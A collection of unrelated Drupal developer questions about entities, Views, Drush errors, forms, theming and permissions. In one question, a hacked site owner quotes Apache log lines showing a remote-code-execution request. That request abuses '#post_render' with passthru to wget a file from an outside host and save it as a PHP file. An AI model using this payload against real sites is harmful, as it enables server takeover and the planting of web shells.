I'm using entity reference and entity reference autocreate to make entities on the fly if they don't exist. Works like a charm. Now I would like to make a nicer tag display. The standard comma seperated input-box is working, but isn't user friendly.

The jQuery Plugin chosen creates a tag system like I want, but it uses the select widget instead. I made changes to chosen so I'm able to add items dynamically, and I also made changes to entity reference autocreate (otherwise it's not possible to save entities from a select)

The entity is created, but I get this error: "An illegal choice has been detected. Please contact the site administrator." That's because I added new options to the select with jQuery. Any idea what the best way is to get rid of this message?

This is the code that sends the new and old entity id's to the form:

function entityreference_autocreate_validate_select ($element, &$form_state, $form){
  if (!empty($element['#value'])) {
    $field = field_info_field($element['#field_name']);

    $field['settings']['entityreference_autocreate'] = $element['#entityreference_autocreate_settings'];
    $entities = $element['#value'];
    foreach ($entities as $id) {
      if ($target_id = entityreference_autocreate_get_entity_by_id($field, $id)) {
        $value[] = array(
          'target_id' => $target_id,
        );
      }
    }
  }
  // Update the values.
  form_set_value($element, $value, $form_state);
}


texts: How to add custom login logout links in Bootstrap theme?

texts:
I am new to drupal, but I had a requirement, my current site using bootstrap theme. Previously there was no login and logout buttons on header. Today I got html login and logout strip from desinger. For this I have created a new block and selected bootstrap region as Navigation. Now this custom header perfectly sits at the top of the page. with static Myaccout, Logout , contactus  which are sent by desinger.

      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
        Toggle navigation

      </button>

Navigator

Contact Us

 My Account

 Log Out

But my question how to make that header dynamic like when user with out login need to show Login , and after login need to show myaccount and logout. Above code is the static html bootstrap header sent by desinger. Please suggest me how to do this?


texts: How to load conditionally a script depending on whether element exists in DOM?

texts:
I have a Drupal.behaviors.leftmenusticky script that converts a left menu to a sticky menu (100% height,position fixed and the like) but I want to drupal_add_js it only if the menu actually exists in the page shown.

(function ($) {
  if ($(".full-height").length > 0 ) {
  Drupal.behaviors.leftMenuSticky = {
      attach: function (context, settings) {
        var contentHeight = $("#main").innerHeight();
        var viewportHeight = $(window).height();
        var offsetTop = $(".full-height").offset().top;
        if (contentHeight < viewportHeight) {
          jQuery(".full-height").height(viewportHeight-offsetTop);
        }
        else {
          jQuery(".full-height").height(contentHeight-offsetTop);
        }
        leftColumnResizer();
        $(window).bind("resize", leftColumnResizer);
        function leftColumnResizer () {
          var toto = $(".region-sidebar-first").width();
          $("#block-paddle-menu-display-management-level-4").css("width", toto);
        }
      }
    }
  }
  else {console.log('notfound');}
})(jQuery);

The Javascript way would be to check whether or not the class I'm targetting exists or not:

  if ($(".full-height").length > 0 )

but 1) I don't know where to place this check exactly and 2) I'd prefer to have a template.php way of doing that by making use either of settings or of context...

Is this possible?


texts: Declaration of DrushInputAdapter::hasParameterOption($values) must be compatible with Symfony

texts:
I have a Drupal 8 site set up with Acquia Dev Desktop on my localhost. I am using PHP 7.0.14; everything is working fine, and the site works perfectly.

I installed Drush 8.  When I try to run drush cr all, I get this error message.

  PHP Fatal error:  Declaration of Drush\Command\DrushInputAdapter::hasParameterOption($values) must be compatible with Symfony\Component\Console\Input\InputInterface::hasParameterOption($values, $onlyParams = false) in /Applications/DevDesktop/tools/vendor/drush/drush/lib/Drush/Command/DrushInputAdapter.php on line 27

The lines causing the error are the following ones.

class DrushInputAdapter implements InputInterface {
    protected $arguments;
    protected $options;
    protected $interactive;

    public function __construct($arguments, $options, $command = false, $interactive = true)
    {
        $this->arguments = $arguments;
        $this->options = $options;

        // If a command name is provided as a parameter, then push
        // it onto the front of the arguments list as a service
        if ($command) {
            $this->arguments = array_merge(
                [ 'command' => $command ],
                $this->arguments
            );
        }
        // Is it interactive, or is it not interactive?
        // Call drush_get_option() here if value not passed in?
        $this->interactive = $interactive;
    }

With Drupal Console, I get something similar.

  PHP Fatal error:  Declaration of Drupal\Component\DependencyInjection\Container::set($id, $service) must be compatible with Symfony\Component\DependencyInjection\ContainerInterface::set($id, $service, $scope = self::SCOPE_CONTAINER) in /Users/josue/WebDevelop/drupal-8.4.0/core/lib/Drupal/Component/DependencyInjection/Container.php on line 47


texts: Drush not recognized and internal or external command

texts:
When I update Drush to Drush 9.1.0, the following error now appears:

'drush' is not recognized as an internal or external command, operable program or batch file.

This issue has occurred on three different machines: two running Windows Server 2016 and one running Windows 10. I've read that it could be due to mismatched global and site Drush versions, but both versions are at 9.1.0. When I downgrade to Drush 8.x.x, it functions as normal. Both the global and site-specific Drush installs were installed with Composer. Are there any fixes for this error?


texts: Imported RSS items have No State and are possibly editable by Anonymous?

texts:
Sometimes RSS feed items come in with No State (as opposed to Draft) and seem to be available for editable by Anonymous?!

Until one goes into edit or Save an RSS Feed item, the Content Moderation state shows as No State instead of Draft!

How does one go about setting the default import Content Moderation State? Is this in Workflow or the Content Type of the feed?


texts: Create a node programmatically then reference an existing node to that node?

texts:
I'm using Drupal 7 and trying to create a node programmatically. Once the node has been created I would like to reference it to an existing node

I'm creating a node programmatically like below

$node = new stdClass();
$node->type = $type;
$node->title = $title;
$node->uid = $user->uid;
node_object_prepare($node);
//set field values
node_save($node);

Which works.

I would then like to update an existing node to reference the newly-created node.
I basically load the existing node, get the node id from the newly created node and update the reference field, like below

$node2 = node_load($node2);

$node2->field_reference['und'][0] = array(
  'target_id' => $node,
  'target_type' => 'node',
);

node_save($node2);

drupal_goto("node/$node->nid");

I get two errors when I add the second part to the code
Notice: Undefined property: stdClass::$nid in node_tokens()
Recoverable fatal error: Object of class stdClass could not be converted to string in DatabaseStatementBase->execute()

The first part works, the second does not. I'm getting the id of $node2 through tokens.

How can I make this work?


texts: Adjust topic title length on topic listing page (Advanced Forum)

texts:
I'm trying to find the right  way of adjusting the topic title length displayed on the topic listing page generated by Advanced Forum (mysite.com/forum/[myforum]).

I tried to manipulate the title variable offered by the template-advanced-forum.naked.topic-list-view.tpl.php and the corresponding theme function but it gives me formatted HTML like this:

Lorem ipsum Lorem ipsum Lorem ipsum Lorem ipsum Lorem ipsum Lorem ipsum Lorem ipsum
 by Anonym » ons, 18/01/2012 - 17:05

My guess is that I need to go "further back" in the theming process somehow to get a hold of the title variable, but I must admit this is beyond my Drupal skills. Any suggestions?

I am using D7 and Advanced Forum (version 7.x-2.0-beta1).


texts: How can I remove decimals when I award user points via commerce-order-total:amount

texts:
I want award users after completing the checkout process. For this task I use this modules (Commerce, UserPoints, Commerce Credits).

I create a product with a price equal 15$ and create a rule which award user after complete checkout. When checkout is complete, rule works great, but it gives user 1500 userpoints instead 15. I tried use module (Commerce Price Decimals Formatter, Commerce Extra Price Formatters) which remove decimals from commerce also I tried use some code from internet but all of it doesn't solve my issue.

Does anybody know solution for this issue?

it's code that I found on the internet:

<?php
/**
 * Implements hook_commerce_currency_info_alter().
 */
function Zero_commerce_currency_info_alter(&$currencies, $langcode) {
  $currencies['USD']['format_callback'] = 'Zero_rub_currency_format';
}

 /**
 * Currency format callback.
 */
function Zero_rub_currency_format($amount, $currency, $object) {
  $round_amount = commerce_currency_round(abs($amount), $currency);
  $price = number_format($round_amount, 0, $currency['decimal_separator'], $currency['thousands_separator']);

  $replacements = array(
    '@code_before' => $currency['code_placement'] == 'before' ? $currency['code'] : '',
    '@symbol_before' => $currency['symbol_placement'] == 'before' ? $currency['symbol'] : '',
    '@price' => $price,
    '@symbol_after' => $currency['symbol_placement'] == 'after' ? $currency['symbol'] : '',
    '@code_after' => $currency['code_placement'] == 'after' ? $currency['code'] : '',
    '@negative' => $amount < 0 ? '-' : '',
    '@symbol_spacer' => $currency['symbol_spacer'],
    '@code_spacer' => $currency['code_spacer'],
  );

  return trim(t('@code_before@code_spacer@negative@symbol_before@price@symbol_spacer@symbol_after@code_spacer@code_after', $replacements));
}

It is my Rule:

{ "rules_grantpointaftercheckout" : {
"LABEL" : "GrantPointAfterCheckOut",
"PLUGIN" : "reaction rule",
"OWNER" : "rules",
"REQUIRES" : [ "rules", "userpoints_rules", "commerce_checkout" ],
"ON" : { "commerce_checkout_complete" : [] },
"DO" : [
  { "data_convert" : {
      "USING" : {
        "type" : "integer",
        "value" : [ "commerce-order:commerce-order-total:amount" ],
        "rounding_behavior" : "down"
      },
      "PROVIDE" : { "conversion_result" : { "conversion_result" : "Conversion result" } }
    }
  },
  { "userpoints_action_grant_points" : {
      "user" : [ "site:current-user" ],
      "points" : [ "conversion-result" ],
      "tid" : "0",
      "entity" : [ "site:current-cart-order" ],
      "operation" : "bla bla bla",
      "display" : "1",
      "moderate" : "approved"
    }
  }
]
}
}


texts: Where is the code for added user registration fields?

texts:
I've added a few extra fields relevant to my interests to the user registration form. The problem being, I'd like to insert a db_insert function to make use of those fields, but I don't know where the code for the extra fields are. That being said, I'm not entirely sure if altering that code is even necessary.

I'm very new to all this. I'd really appreciate some help, have a good day.


texts: How do I output a list of PDF files set up via a custom content type

texts:
I set up a custom content type 'yam' where I upload a PDF file. Each file has a language of either "English" or "Spanish", along with a title, like "Winter 2016".

I've been playing with Views, but I cannot get it to output the equivalent of :

Title

I can only get a list of Titles or a list of file names URLs like:

Filename

.


texts: How can i add a tax rule if company exists?

texts:
Hello fellow drupal developers, i'm creating a store on drupal commerce and one of the goals is to add VAT to the product if the buyer is a company.

I've added the company field on the address on both billing and shipping forms but how can i make the rules validate the field if its empty or filled? I've been hammering on this for a while and i could use some help!

Thank you in advance!


texts: Empty response after a callback in form_alter

texts:
I am trying to add a new field in a preexistent form and invoke a callback.
The response of the callback is alway an error with an empty response:

  An AJAX HTTP error occurred.
  HTTP Result Code: 200
  Debugging information follows.
  Path: /system/ajax
  StatusText: OK
  ResponseText:

ResponseText is always empty.

The code I use in my_form_form_alter() is the following.

$form['country_views_exposed_form'] = array(
  '#type' => 'select',
  '#title' => t('Country'),
  '#options' => array(
    'sl'  => 'Select...',
    'au'  => 'Australia',
    'nz'  => 'New Zealand'
  ),
  '#ajax' => array(
    'callback' => '__my_callback',
    'wrapper' => 'country-views-exposed-form-wrapper-',
    'method' => 'replace',
    'event' => 'change'
  ),
  '#attributes' => array('class' => 'views-exposed-widget')
);

All I put in __my_callback() produces the same result: I don't get a clean response.

function __my_callback(&$form, &$form_state) {
  return $form['states_views_exposed_form'];
}


texts: How to set different form displays for creating and editing an entity?

texts:
I see we can configure multiple form modes for an entity bundle.

We want to utilize that to create two form modes for Image bundle of Media entity. One to use while creating a new Image media and other to use while editing existing one.

How can we achieve that?
Are there exist configuration ways to do it?


texts:
My Drupal 7 sites were hacked many times, and I find everytime some files created by the hackers.  Even though I did the security update, that didn't prevent the hackers to access to the server.
Recently I saw the Apache log and I found some serious security problems. They try accessing across the login form on /user and some files in the file module folder.

  POST /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=wget%20-c%20g.wpblogapi.com/acui/innc.zip%20-O%20tmps.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

  GET /modules/file/tests/lbuzsboe.php HTTP/1.1" 404 - "..../modules/file/tests/lbuzsboe.php

Please provide me your suggestions to resolve this problem. I have no experience on web security.


texts: In my Simplenews twig template how do I get the URL of the page I am emailing?

texts:
When a single test newsletter is sent, Drupal provides me with the expected URL as follows:
{% set foo = url('<current>') %}

{{ 'You can view this news article in your web browser' }}

Or by using the trim Twig  function
But when sending the actual newsletter issue to subscribers, the batch process causes the url(‘current’) to provide a batch url like https://my-site.uk/batch
How can I obtain the one I want (to direct newsletter recipients to the page). Will a preprocess theme function see the same url values as twig or can I reliably capture the node’s real URL there Somehow?


texts:
I need some information on how to achieve a solution which will allow a group of users to create content but the content remains unpublished until multiple managers have somehow signed off on the content of the node page.

I'll be happy if the suggestion comes in the form of a module and/or a recipe on configuration steps.


texts: Create a View that redirects to node content based on contextual filter?

texts:
I've created a view with a contextual filter for 'field_object_id' -> this is a field that the content type has which is unique but it's not the Node ID, these field_object_id's are brought in from a JSON feed.

So I can go to my view page like this:

drupal-site.com/my-view

Which would display a page not found. Then going to:

drupal-site.com/my-view/230

Would load up the content node that has '230' set for 'field_object_id' -> however that content node ID is not 230, I have no idea what it is. It could be 8509.

What I need to do, is set my view to automatically redirect the page to the node that it finds (I would set it to redirect to the first result it finds).

I have Panels installed too, would this be easier to do with Panels or should I look to creating a module?


texts: How to download files through IMCE file browser?

texts: I found the IMCE has upload and delete buttons, but not download. Is there a way to add download feature, if so how?


texts: Add node programmatically including CCK field

texts:
I'm pulling content from a web service and adding the nodes programmatically.  Here is my code so far:

foreach($content as $key => $value) {
    $node = new stdClass();
    $node->title =  $value['title'];
    $node->type = $field_map['type'][$value['type']];   // Use remote type as key in field map array to get local type
    node_object_prepare($node); // Sets some defaults. Invokes hook_prepare() and hook_node_prepare().
    $node->language = (isset($value['language'])) ? $value['language'] : LANGUAGE_NONE;
    $node->uid = $GLOBALS["user"]->uid;
    $node->status = $value['status']; //(1 or 0): published or not
    $node->promote = $value['promote']; //(1 or 0): promoted to front page
    $node->comment = $value['comment']; //2 = comments on, 1 = comments off
    $node->created = $value['created'];
    $node->changed = $value['changed'];
    $node->sticky = $value['sticky'];
    $node->translate = $value['translate'];
    $node->uuid = $value['uuid'];

    $node = node_submit($node); // Prepare node for saving
    node_save($node);
}

The example I'm following says to add cck fields like this:

// Entity reference field
    $node->field_customer_nid[$node->language][] = array(
        'target_id' => $form_state['values']['entity id'],
        'target_type' => 'node',
    );

I'm having difficulty because my CCK fields will vary depending on the content type that is being pulled form the web service. My fields are stored in the following format:

$value['field_publish_date']

How could I go about adding the fields to my node?


texts:
I am new on Drupal and I need to update an existing Drupal 7 website.

The website is multi-domains, multi-languages.

Getting the views fields values makes me a big headache!

The existing code of the website is like this:

In the folder templates:

Each template of the website has a file like: views-view-unformatted--some-name.tpl.php

And the to print the fields values, the code is similar to this:

<?php
$idInFieldCollection = $view->result[0]->field_field_a_name[0]['raw']['value'];
$item = $view->result[0]->field_field_a_name[0];
$value = $item['rendered']['entity']['field_collection_item'][$idInFieldCollection]['field_the_field_needed']['#items'][0]['value'];
?>
<?php print($value); ?>

This process seems huge!

And finding the path for each field value requires to use kpr() and explore the view object.

I don't understand so much yet all I read about Drupal, could you guys let me know if there is an easier way. With getters for example ?


texts: Sort grouping field associated with taxonomy term by weight on drupal 8 views

texts:
I'm currently trying to figure out how I can sort the grouping fields(Taxonomy Term) by weight that I have setup on my views.

As shown in this screenshot below I have a grouping field that is associated with a taxonomy term.

Application Deadline
Scholarship Deadline
Class Dates

The only problem is that, it is not sorted accordingly by weight.

Is there a way I could the taxonomy terms by weight. I tried configuring the views but I can't seem to find the solution in solving my problem.


texts: How do I hide the title when creating/editing a specific type of content?

texts:
Here's what we'd like to do when create/edit node of specific type of content (we have 2 specific types, let's call them "type A" and "type B"):

hide the title (= the user can change all fields but not the title)
show a combo box to choose an item (lot of items, and this field is a long name)
depending on the type of the content, when validating the node, update the title like this: title = name of the item + " - " + type of the content

Example:

User creates a node of "type B". He chooses the item called "The item XYZ long name" and validates => the title of the node is auto-magically created: The item XYZ long name - Type B.

Any idea how to do this (I don't know how to hide the title when creating/editing a node as well)?


texts: On save update entities referencing node

texts:
I have a site made up of 3 content types:
Article - made up of title, body and taxonomy.
Lesson - made up of a title and an entity reference to field to articles (allows multiple)
Course - a page made up of various paragraphs including one called ‘Lesson’ - which is made up of two field:

An entity reference to lessons
A hidden field that accepts 3 articles

On saving a course, the hidden field is populated with the top three articles from the reference field:
function my_module_entity_presave(Drupal\Core\Entity\EntityInterface $entity)  {
 if ($entity->bundle() == 'lesson_para') {
 $lesson = $entity->get('field_lesson')->getValue()[0]['target_id'];
 $node = Node::load($lesson);
 $articles = array_column($node->field_article->getValue(), 'target_id');
 $trim_articles = array_slice($articles, 0, 3);

 $entity->set('field_articles_hidden', $trim_articles);
}

On updating and saving a lesson I want to update the course information too, so far I have this:
if ($entity->bundle() == 'lesson') {
    $lesson = $entity->id();
    // load courses referencing that lesson
    $course = \Drupal::entityQuery('node')
      ->condition('type', 'course')
      ->condition('status', 1)
      ->condition('field_paragraph.entity:paragraph.field_lesson.target_id', $lesson)
      ->execute();

How do I update the hidden field of paragraph referencing the lesson saved?


texts: What happens if a user uploads an image but doesn't save the node?

texts:
I would like to know what happens if a user uploads an image by image field but doesn't save that node?

It seems that image will be in the directory but no node refers to it. Is there anyway to remove such files?


texts:
I'm currently learning how to make a custom module that creates a block with a textfield and upload field. So far so good, only thing is: Drupal doesn't seem to respect my file_validate_size value.

Here's my block_configure code:

   $form['file_link'] = array(
        '#type'         => 'managed_file',
        '#title'        => t('My upload field'),
        '#size'         => 60,
        '#description'  => t('Select a file.'),
        '#upload_location' => 'public://',
        '#default_value' => variable_get('file_link'),
        '#upload_validators' => array('file_validate_extensions' => array(),
                                'file_validate_size' => array(26214400)
                                ),
   );

Most file_validate_size examples that i've found used bytes instead of megabytes. I don't know if this is a must? file_validate_extensions works perfectly though. So what am I doing wrong?


texts:
If I understand correctly, hook_field_prepare_view should be called each time, when some field value is displayed.
But when I visit some node page, that contains some fields, my hook_field_prepare_view is not called. I have simple hook implementation as follows:

function mymodule_field_prepare_view($entity_type, $entities, $field, $instances, $langcode, &$items) {
watchdog('mymodule', 'field');
}

I have no record 'field' in log messages, so I think my function is not called. I flushed caches several times.
Could anybody help, where can be problem?


texts: How to delete a vocabulary terms programmatically?

texts:
I want to remove all the terms from a vocab but not delete the vocab itself.

I can do it on the database, but Id rather use the api if available in D8.

$existingTerms = \Drupal::entityTypeManager()->getStorage('taxonomy_term')->loadTree('mycustomvocab');
foreach ($existingTerms as $existingTerm) {
  // Delete vocabulary term *** This function is not available in D8 ***
  taxonomy_term_delete($existingTerm->tid);

  // Delete vocabulary - *** Not what is required ***
  /*
  $vocab = Vocabulary::load($existingTerm->vid);
  if (!is_null($vocab)) {
    $vocab->delete();
  }
  */
}

This is how Im doing it at the moment until I find a better solution

db_query("DELETE FROM {taxonomy_term_hierarchy} WHERE `tid` IN (SELECT tid FROM {taxonomy_term_data} WHERE `vid` = :ctype)", array(':ctype' => 'mycustomvocab'));
db_query("DELETE FROM {taxonomy_term_field_data} WHERE `vid` = :ctype", array(':ctype' => 'mycustomvocab'));
db_query("DELETE FROM {taxonomy_term_data} WHERE `vid` = :ctype", array(':ctype' => 'mycustomvocab'));


texts: How do I increase the character limit for the default "Fixed value" of a contextual filter?

texts:
I'm trying to make a view of my new products using the Content: Nid contextual filter.

In this filter I opted to provide a default value, with a type of "Fixed value". On the "Fixed value" field, only 27 values are added, after which no more are accepted.

Apart from the character limit for the text field, is there another reason  I can't add more values here? If not, how do I increase the character limit so I can add all the values I wish to?


texts: Is it possible to call a custom ajax event after removing a file from a managed_file field?

texts:
I have a custom form with a managed_file field element. I'd like to call an ajax event after removing a file (clicking the REMOVE button).
Is there a way to expand the existing ajax callback for the remove button?
What I'm trying to do is fire a custom ajax event after clicking the REMOVE button on a managed_file element to remove an element from the dom.


texts: Removing HTML rendered for Block Regions

texts:
In my custom Drupal 8 theme, for all regions of my page, there is HTML looking like:

where xxxx is the region name.

There are also empty 's rendered around my blocks.

This is my block.html.twig

{% block content %}
    {{ content }}
{% endblock %}

as you see, no divs there.

Here's my theme.info.yml , region part:

regions:
  header: Header
  hero: Hero
  help: Help
  top: 'Page Top'
  content: Content
  sub: 'Sub Content'
  bottom: 'Page Bottom'
  footer: Footer

Here's a screenshot of the actual HTML tree rendered:

essentially I'd like to remove everything between the .row and the .col..


texts: Pathauto bulk update for taxonomy terms with unchecked “Generate automatic URL alias”

texts:
I have the same issue addressed for D7 here:
Bulk Generating URL aliases for taxonomy terms doesn't do anything
or here:
Bulk update for unchecked "Generate automatic URL alias"

And I'm looking for a corresponding workaround for D8, querying the DB directly.

For D7 seems that the following solution works:

UPDATE pathauto_state SET pathauto="1" WHERE entity_type="taxonomy_term";

I did some research for D8:

cannot find any "pathauto_state" table within a D8 database
so I tried to find how and where the “Generate automatic URL alias”
is stored but
    without success (see also for this:
    Where is the "Generate automatic URL alias" setting stored?)

Thank you


texts: Allow a role to edit a specific taxonomy list of terms

texts: We have a blog that needs to be categorized by topics. I want to allow a blog administrator to add/edit/delete blog topics that are listed in a taxonomy vocabulary. But I don't want to give him add/edit/delete access to other taxonomy lists. Is there a permission that I am missing? Is there a D7 module that handles this? Or can someone point me in the right direction for writing my old module?


texts:
EDIT

My problem is that i have a module on a D6 website that should get some data from another website (a D7) but thoses data are old ones that should not exist.

The D7 site have a Forum. The last topics of the forum are set in a page with no theme :

function forum_topic_menu(){
  $items["lastopic/homepage"]=array(
    'title' => 'Forums',
    'page callback' => '_forum_topic_home',
    'access arguments' => array('access content'),
  );
}

function _forum_topic_home(){
  global $language;
  $GLOBALS['conf']['cache'] = FALSE;
  ...
  $listeTopics = "request to get the last topics";
  $content = theme("forum_topic_block_hp",array("topics"=>$listeTopics));

  print $content;
}

The forum_topic_block_hp is a page with no theme, so the data are display just like that.

The D6 get the data wit a custom module :

function _getLastForum_contents(){
global $language;
$URLBLOCFORUM = "url of the D7 page";

$response = file_get_contents($URLBLOCFORUMCLUB);

return $response;
 }

On each website the performance module is activated and cache are clear every six hour, so i should have every six hours an update of the forum; But even if the D7 page is updated, the block on the D6 page isn't, the block keep to show the former page. But when i flush manually the cache on the D7 site, then that works.

So do someone know how properly refresh the cache programmatically or should i use another way to get the last topics from another website?


texts: How can I load a JavaScript file only when a page has an element whose class is "test"?

texts: In my develop process, I meet a scenario: I only want to load a JavaScript file when a page has an element whose class is test, so what can I do? How to know a page whether has this element?


texts:
I'm trying to create a simple node_type in drupal 7 based on the core blog module.

This is my hook_install:

function node_link_install() {
  node_types_rebuild();
  $types = node_type_get_types();
  node_add_body_field($types['node_link']);
}

and this is then the hook_info in my node_link.module file:

function node_link_node_info() {
  return array(
    'node_link' => array(
      'name' => t('Node Link'),
      'base' => 'node_link',
      'description' => t('Just playing around'),
    )
  );
}

and here is my hook_uninstall:

function node_link_uninstall() {
  $result = db_query("SELECT n.nid FROM {node} n WHERE n.type = :type", array(':type' => 'node_link'));

  $nids = array();

  foreach ($result as $item) {
    array_push($nids, $item->nid);
  }

  if (count($nids)) {
    node_delete_multiple($nids);
  }

  drupal_uninstall_schema('node_link');
}

when I try to install the above module I get:

Notice: Undefined index: node_link in node_link_install() (line 10 of

  drupal/sites/all/modules/custom/node_link/node_link.install).
      Notice: Trying to get property of non-object in node_add_body_field() (line 555 of
  drupal/modules/node/node.module).
      Notice: Trying to get property of non-object in node_add_body_field() (line 568 of
  drupal/modules/node/node.module).
      FieldException: Attempt to create an instance of field body without a bundle. in field_create_instance() (line 460 of
  drupal/modules/field/field.crud.inc).

Several things are puzzling me here:

1) why does this work for the blog module but not my module?

2) when I uninstall this module, the entry in the system table is not deleted

what am I missing?


texts:
I am trying to alter the email description text on my user registration page. I have added the following to the bottom of my template.php file but nothing is happening. It seems like the function isn't even being called. Any suggestions?

function theme_form_alter(&$form, &$form_state, $form_id){
    switch($form_id) {
        case 'user_register_form':
            $form['account']['mail']['#description'] = t('E-mail Address');
    }
}


texts: What to attach event listener to in Drupal behavior

texts:
I have a use case where I need to listen to the insertIntoActiveEditor event in the insertIntoActiveEditor event in the Insert module, but with this code:

(function ($) {

/**
 * Custom behavior to generate image style derivatives on S3 when an image is
 * inserted into the WYSWIYG editor.
 */
Drupal.behaviors.generateDerivative = {
  attach: function(context, settings) {
    $(document).on('insertIntoActiveEditor', function(event, data) {
      var test = 'a';

    })
  }
}
})(jQuery);

I'm getting an error that says

Uncaught TypeError: $(...).on is not a function

on this line

$(document).on('insertIntoActiveEditor', function(event, data) {

I thought I had that syntax correct, but apparently I don't. Do I need to change my selector to be the Insert button (the same as is used in the module JS)? I"ve tried changing it to

$('input[value="Insert"]').on('insertIntoActiveEditor', function(event, data) {

but I still get the same error.

Thanks.


texts: how to add dropdown checkbox list in to the search api(facet api) display widget?

texts: I want to have a checkbox list in search api(facet api) display widget.  links with checkboxes not user friendly when you have many items, but checkbox list is user friendly. I mean dropdown checkbox list. how can i do it?


texts: How to create timestamp field? I get Undefined index: timestamp:normal in DatabaseSchema_mysql->processField()

texts:
I am getting the following error for the field within a hook_schema()

  Notice: Undefined index: timestamp:normal in
  DatabaseSchema_mysql->processField() (line 205 of
  /D7/../includes/database/mysql/schema.inc).

function hook_schema() {

$schema['abc'] = array(
  'description' => t('asdc'),
  'fields' => array(
    'rec_create_date' => array(
      'type' => 'timestamp',
      'not null' => FALSE,
      'default' => NULL,
  ),
 ),
)
}


texts:
I have a social content publishing site maintained in Drupal 7.  I want to show content only specific to a user when everyone visits the site using the user's user name as the subdomain.

For example when the mail site is
www.example.com

And the user is john

When people visit the site using URL
john.example.com

I want to show only the content created by John, like that is his own site or book.

When people visit the site www.example.com they shall see all content including John's content also.  This may mean Drupal 7 content shall be as usual , only the subdomain shall show content created by John.

It is not clear whether this can be achieved by Domain Access module, hence asking here to get more targetted answer from any one who may have done something like this.


texts:
I tried really hard but couldn't figure out what are they (subj). Can anybody explain? I see mentions of them here and there but there just no definitions anywhere available.

Thank you.


texts:
How can I position each menu item individually in Drupal 7?
I've created a quick visualisation how I want it to look like:

The problem is that I still want to have hover effects and highlight the page I'm currently on.
The menu don't need to be dynamic because the menu items won't change.

Any Ideas?


texts:
What is the best way to set up a page on which people could leave reviews, stories etc (I guess like on Yelp?). It would be a bonus if they could upload images, and or it used gravatars etc.

Additionally, we would need to monitor these posts, where the admin would be notified and then could approve them before they appear on the front end.


texts: How to include attributes of the MySQL table to hook_schema() schema in drupal 7?

texts:
I am creating a table using hook_schema()

I am referring phpMyadmin to create a new table. In the phpMyadmin there is a
column 'Attributes'

which has values as 'unsigned' or  on update CURRENT_TIMESTAMP'
I have a row in a table which is of type 'timestamp' and has attributes 'on
update CURRENT_TIMESTAMP'.
How can I  include this attribute on update CURRENT_TIMESTAMP in the hook_schema() ?

Also there is  a default column in phpMyAdmin how can I add that in hook_schema() ?

the first time I created a hook_module_name.install a table was created as it was specified in the hook_schema()

Then I uninstalled that module but the table was not deleted ?
Now I even removed the .install file cleared the cache , even after this  a table is not created. What can be the solution to this problem.

What I have checked is that it is entering into hook_schema function but the table is not generated at the database. Any hints on this would be appreciated.


texts:
I'm working on a page that will have a couple links on it that need to show another page in a modal popup.
I've used class="use-ajax" to accomplish this in the past. However, I'm making modifications to this page via JS and these links will not load with that class.
I've used the following which opens the page in a modal as expected:
var $myDialog = $('<iframe src="https://www.mysite.com/page/in/modal"></iframe>').appendTo('body');
  Drupal.dialog($myDialog, {
    title: 'Title',
    buttons: [{
      text: 'Close',
      click: function() {
        $(this).dialog('close');
      }
    }]
  }).showModal();

However, this renders the entire page. How can I load just the content area of this page similar to how class="use-ajax" data-dialog-options="..." data-dialog-type="..." work?
Thank you!
Edit
First I tried just dynamically adding the attributes needed for opening a page in a modal but I also couldn't get this to work:
$(link1,link2).attr({
    'class': 'use-ajax',
    'data-dialog-options': '{&quot;width&quot;:550, &quot;dialogClass&quot;: &quot;my-dialog&quot; }',
    'data-dialog-type': 'modal'
  });
Drupal.ajax.bindAjaxLinks(document.body)


texts: How can I avoid getting "This route can only be accessed by anonymous users"?

texts:
I'm trying to use REST login from a React native app. When the user tries to log in, the app calls:

var data_node = {name:this.state.username,pass:this.state.password};
axios.post('http://IP/user/login?_format=json',data_node)
  .then((response) => {
    console.log(response);
  })
  .catch((error) => {
    console.log(error)
  });

If the call succeds, in test, the next time I try to authenticate the user, I get this error because the user has been authenticated in a previous call for which I haven't saved data, so I cannot call user/logout.

  This route can only be accessed by anonymous users.

How can I avoid it, forcing a new login?


texts: How to prevent proxy URLs in link field from being encoded?

texts:
Others appear to have similar issues to Drupal 8/9 encoding URLs in the link field though I see no solutions.
We're a library site and have many links for our patrons to external database websites that we link to with proxy URLs such as:
https://somewebsite.com/login?auth=password&url=https://link.gale.com/apps/doc/K1606004825/BIC?u=schools&sid=BIC&xid=2aefeae4
However, Drupal encodes the URL after the second https so it looks like:
https://somewebsite.com/login?auth=password&url=https%3A//link.gale.com/apps/doc/K1606004825/BIC%3Fu%3Dschools&sid=BIC&xid=2aefeae4
which returns an error.
Is there a way to turn off this function or disable URL encoding for the link field?


texts: At what point during a form submission can you assume the field processing to be "complete"?

texts:
Further to Generically detecting changed fields in a custom form prior to saving a node, where we're trying to compare the field data in a ready-to-be-saved node with the field data in the original node:

At what point in the process of submitting a form, validating input, running submit callbacks and saving an entity, can you assume the field data will not be modified by module code?

Or, to put this question another way: If a field's array in an unsaved node object contains extra keys which are used for processing the field, but are not saved as part of the field's database schema, at what point can those extra keys be considered "done with"?

What I'm trying to figure out is, in that other question some suggestions involve ignoring field array keys in the unsaved node, which are not present in the original node, but this would seem to be unsafe logic if those extra keys might be used to alter the data being committed to the database when the node is saved.

To illustrate, take this imaginary field array:

Original node object:

$original_node->field_imaginary['und'][0] = array(
  'schema_key_1' => 'some value',
  'schema_key_2' => 'some other value',
);

Unsaved node object:

$unsaved_node->field_imaginary['und'][0] = array(
  'schema_key_1' => 'some value',
  'schema_key_2' => 'some modified value',
  'processing_key' => 'some value used to modify schema_key_2',
);

Prior to issuing a node_save($unsaved_node), are we able to assume at any particular stage of the form submission that 'processing_key' has already altered the value of 'schema_key_2' and will not alter it further before it gets committed to the database?


texts:
I'm trying to put a max number of characters that users can enter when they comment on an article, but what seems to be a simple task actually seems pretty hard to do. I found a module and several code snippets, but they are all for Drupal 7 and under. Ideally, they would also be a character countdown so that users know when they are about to reach the limit.

How shall I proceed?


texts: How to create a rule which asks the user whether to proceed or not?

texts:
With the D7 version of the Rules module, is there any way to create a rule which asks the triggering user whether to proceed or not?

Specifically, I'm trying to set up an "After updating existing content" rule but I would like it to ask the user "Do you wish to <action>? Yes/No" then continue executing if they choose "Yes" or halt and return to the node view if they click "No".

I was hoping it could be done within the rules UI somehow but if I have to code a custom module, so be it.

